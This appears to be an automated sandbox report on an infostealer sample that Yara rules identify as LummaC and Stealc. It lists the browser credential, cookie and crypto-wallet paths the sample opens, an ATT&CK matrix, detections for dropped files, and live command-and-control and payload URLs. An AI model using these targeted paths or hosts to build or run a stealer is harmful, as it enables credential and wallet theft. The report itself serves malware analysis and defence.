Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match

File source: Process Memory Space: Idau8QuYa3.exe PID: 7332, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Idau8QuYa3.exe PID: 7332, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 4.2.1NOXIMLR48PMTW843DD15CVQV9KVD.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2099361572.0000000000DF1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1NOXIMLR48PMTW843DD15CVQV9KVD.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001EEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		8_2_001EEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_001EDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		8_2_001EDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Registry Run Keys / Startup Folder	33 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1051 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	461 Virtualization/Sandbox Evasion	Proc Filesystem	461 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Idau8QuYa3.exe	56%	Virustotal		Browse
Idau8QuYa3.exe	58%	ReversingLabs	Win32.Trojan.Generic
Idau8QuYa3.exe	100%	Avira	TR/Crypt.XPACK.Gen
Idau8QuYa3.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	100%	Avira	HEUR/AGEN.1309903
C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	100%	Avira	HEUR/AGEN.1309903
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Avira	HEUR/AGEN.1309903
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	61%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe	61%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorNetT
C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.InjectorNetT

Source	Detection	Scanner	Label
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api7	100%	Avira URL Cloud	malware
https://mindhandru.buzz//	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/b	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpnu	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apis92o4p.default-release/key4.dbPK	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiz	100%	Avira URL Cloud	malware
https://mindhandru.buz	0%	Avira URL Cloud	safe
https://mindhandru.buzz:443/apiF	100%	Avira URL Cloud	malware
https://mindhandru.buzz/s	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php32D	100%	Avira URL Cloud	malware
http://31.41.244.11/files/zipcryptservice/random.exe123456789	0%	Avira URL Cloud	safe
http://31.41.244.11/files/zipcryptservice/random.exe	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpncodedY	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpded;	100%	Avira URL Cloud	malware
https://mindhandru.buzz/es7	100%	Avira URL Cloud	malware
http://185.215.113.16/0	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php(2	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe--	0%	Avira URL Cloud	safe
http://31.41.244.11/files/zipcryptservice/random.exe)	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpn	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	104.21.11.101	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
scentniej.buzz	false		high
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: malware	unknown
hummskitnj.buzz	false		high
mindhandru.buzz	false		high
https://mindhandru.buzz/api	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpY	skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	soonmaintain.exe, 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BAF8000.00000004.00000800.00020000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2946060782.0000012654420000.00000004.08000000.00040000.00000000.sdmp, soonmaintain.exe, 0000000B.00000002.2944526608.000001264BB71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpc	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	Idau8QuYa3.exe, 00000000.00000003.1799227714.00000000056D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz:443/apis92o4p.default-release/key4.dbPK	Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe	Idau8QuYa3.exe, 00000000.00000003.2004908373.0000000000EA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Idau8QuYa3.exe, 00000000.00000003.1753566412.000000000570A000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1753463336.000000000570C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz//	Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Idau8QuYa3.exe, 00000000.00000003.1754142493.000000000571F000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775550305.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1775730691.0000000005718000.00000004.00000800.00020000.00000000.sdmp, Idau8QuYa3.exe, 00000000.00000003.1754269088.0000000005718000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi	Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpM	skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	1NOXIMLR48PMTW843DD15CVQV9KVD.exe, 00000004.00000002.2098971560.00000000008A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000008.00000002.2935695973.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/api7	Idau8QuYa3.exe, 00000000.00000003.1923587822.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	skotes.exe, 00000008.00000002.2935695973.0000000000A89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/api	Idau8QuYa3.exe, 00000000.00000003.2049040160.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	false		high
